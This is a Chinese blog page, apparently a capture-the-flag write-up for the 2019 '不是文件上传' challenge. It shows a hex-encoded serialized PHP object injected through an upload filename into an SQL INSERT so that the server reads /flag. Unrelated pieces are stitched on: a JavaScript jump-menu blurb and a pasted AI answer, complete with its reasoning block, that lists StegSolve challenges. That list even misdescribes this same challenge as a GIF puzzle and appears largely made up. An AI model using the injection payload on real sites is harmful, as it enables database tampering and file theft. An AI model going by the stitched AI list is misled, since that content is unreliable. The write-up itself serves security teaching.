[安洵杯 2019]不是文件上传

本文探讨了PHP中helper类的序列化及反序列化过程,展示了如何通过构造特定的序列化字符串来触发潜在的安全漏洞,并提供了具体的SQL插入示例。

在这里插入图片描述
在这里插入图片描述

buu给了源码链接,还是直接去看源码吧

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

简单看了一下,意思就是上传图片,假如helper中以序列化形式保存图片,那么在show中就可以反序列化

<?php
class helper {
    protected $ifview = True;
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}


然后因为变量属性是protected 需要在变量名前加上\x00*\x00变量名,private则是要在变量名前加上\x00类名\x00变量名
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
所以下面用\0\0\0去填充,show反序列化前会换回去


//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL语句
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title这里是可控的,单引号闭合

//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg

在这里插入图片描述
在这里插入图片描述

下载前必看:https://pan.quark.cn/s/a4b39357ea24 在本资料中,将阐述如何运用JavaScript达成单击下拉列表框选定选项后即时转向对应页面的功能。 此种技术适用于网页布局中用户需迅速选取并转向不同页面的情形,诸如网站导航栏或内容目录等场景。 达成此功能,能够显著改善用户交互体验,精简用户的操作流程。 我们须熟悉HTML里的`<select>`组件,该组件用于构建一个选择列表。 用户可从中选定一项,并可引发一个事件来响应用户的这一选择动作。 在本次实例中,我们借助`onchange`事件监听器来实现当用户在下拉列表框中选定某个选项时,页面能自动转向该选项关联的链接地址。 JavaScript里的`window.location`属性旨在获取或设定浏览器当前载入页面的网址,通过变更该属性的值,能够实现页面的转向。 在本次实例的实现方案里,运用了`eval()`函数来动态执行字符串表达式,这在现代的JavaScript开发实践中通常不被推荐使用,因为它可能诱发安全问题及难以排错的错误。 然而,为了本例的简化展示,我们暂时搁置这一问题,因为在更复杂的实际应用中,可选用其他方法,例如ES6中的模板字符串或其他函数来安全地构建和执行字符串。 具体到本例的代码实现,`MM_jumpMenu`函数负责处理转向逻辑。 它接收三个参数:`targ`、`selObj`和`restore`。 其中`targ`代表要转向的页面,`selObj`是触发事件的下拉列表框对象,`restore`是标志位,用以指示是否需在转向后将下拉列表框的选项恢复至默认的提示项。 函数的实现通过获取`selObj`中当前选定的`selectedIndex`对应的`value`属性值,并将其赋予`...
<think>我们正在整理BUUCTF中使用StegSolve工具的题目列表。根据之前的讨论,使用StegSolve的题目通常涉及以下技术点: - 直接查看文件格式(Analyze→File Format) - 通道分离(Data Extract功能,按BGR顺序等) - 辅助分析文件结构(配合binwalk) - LSB隐写分析 - GIF帧分析 由于BUUCTF题目数量众多且持续更新,以下列表基于常见题目及公开Writeup整理,按题型分类: ### 一、直接文件格式查看 1. **题目名称**:`stego1`(或类似名称) **关键操作**: - StegSolve中`Analyze → File Format` - 在文件头部直接找到flag字符串[^2] ### 二、通道分离类题目 1. **二维码类型题目** - `二维码`:通过Data Extract按BGR顺序提取出隐藏的PNG图片,修复高度后扫描二维码[^3] - `another_qr`:类似操作,可能需要调整位平面组合 2. **颜色通道异常题目** - `ColorfulImage`:查看各通道发现某个通道含异常信息 - `red_green_blue`:通过Image Combiner对比通道差异 ### 三、LSB隐写题目 1. **基础LSB** - `lsb1`:RGB最低位平面组合(Bit Planes: Red0, Green0, Blue0) - `lsb2`:仅某个通道最低位有效(如Blue0) 2. **进阶LSB** - `pixels`:提取像素值后需转换ASCII - `white_word`:白色背景隐藏文字,需调整阈值查看 ### 四、GIF分析题目 1. **逐帧检查** - `gif_magic`:Frame Browser中发现某帧含flag - `flash_ctf`:多帧合成信息 2. **颜色表分析** - `palette`:修改调色板顺序后显示文字 ### 五、组合工具题目 1. **StegSolve+binwalk** - `hidden_file`:binwalk发现ZIP,StegSolve辅助提取 - `double_trouble`:先通道分离再结合foremost 2. **StegSolve+高度修复** - `broken_qr`:提取不完整二维码后修改PNG高度值[^4] > 注:部分题目存在多解法,StegSolve可能非唯一工具。 §§相关问题§§ 1. 如何修复StegSolve提取出的不完整PNG图片? 2. BUUCTF中哪些LSB题目需要调整位平面组合? 3. 使用StegSolve分析GIF时有哪些注意事项? 4. 通道分离时BGR顺序和RGB顺序有什么区别? 5. 最新BUUCTF题目中是否有StegSolve的新颖用法? </think>以下是BUUCTF平台中需要使用StegSolve工具的典型题目列表,按解题技术分类整理: ### 一、通道分离与位平面分析 1. **LSB隐写类** - `[MRCTF2020] 不眠之夜`:需在Data Extract中组合Red0/Green0/Blue0位平面 - `[ACTF新生赛2020] 像素猫`:RGB通道分离后提取像素值转换ASCII - `[GXYCTF2019] 白给的词`:白色背景文字隐写,需调整Brightness阈值 2. **通道异常检测** - `[BJDCTF2020] 藏藏藏`:Blue通道含Base64编码[^4] - `[HBNIS2018] 低个头`:仅Green通道含有效信息 ### 二、文件结构分析 1. **隐藏文件提取** - `[SUCTF2018] 单文件`:配合binwalk发现ZIP,用Data Extract提取[^1] - `[安洵2019] 吹着贝斯扫二维码`:Frame Browser分析分块结构 2. **文件头修复** - `[WUSTCTF2020] 颜值成绩查询`:提取二维码后需修复PNG高度[^3] - `[GUET-CTF2019] 虚假的压缩包`:StegSolve发现异常文件尾 ### 三、动态图分析 1. **GIF帧检查** - `[安洵2019] 不是文件上传`:Frame Browser发现隐藏帧 - `[RCTF2019] 抽老婆`:多帧合成flag 2. **调色板异常** - `[SWPU2019] 神奇的二维码`:颜色表修改后显示完整二维码 ### 四、复合型题目 1. **多层隐写** - `[MRCTF2020] 禁止套娃`:先通道分离→再LSB分析→最后Base64解码 - `[UTCTF2020] 听首音乐`:频谱图+StegSolve通道异或 > 注:部分题目需配合其他工具(如010 Editor修复高度、Audacity分析音频)[^3][^4]
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值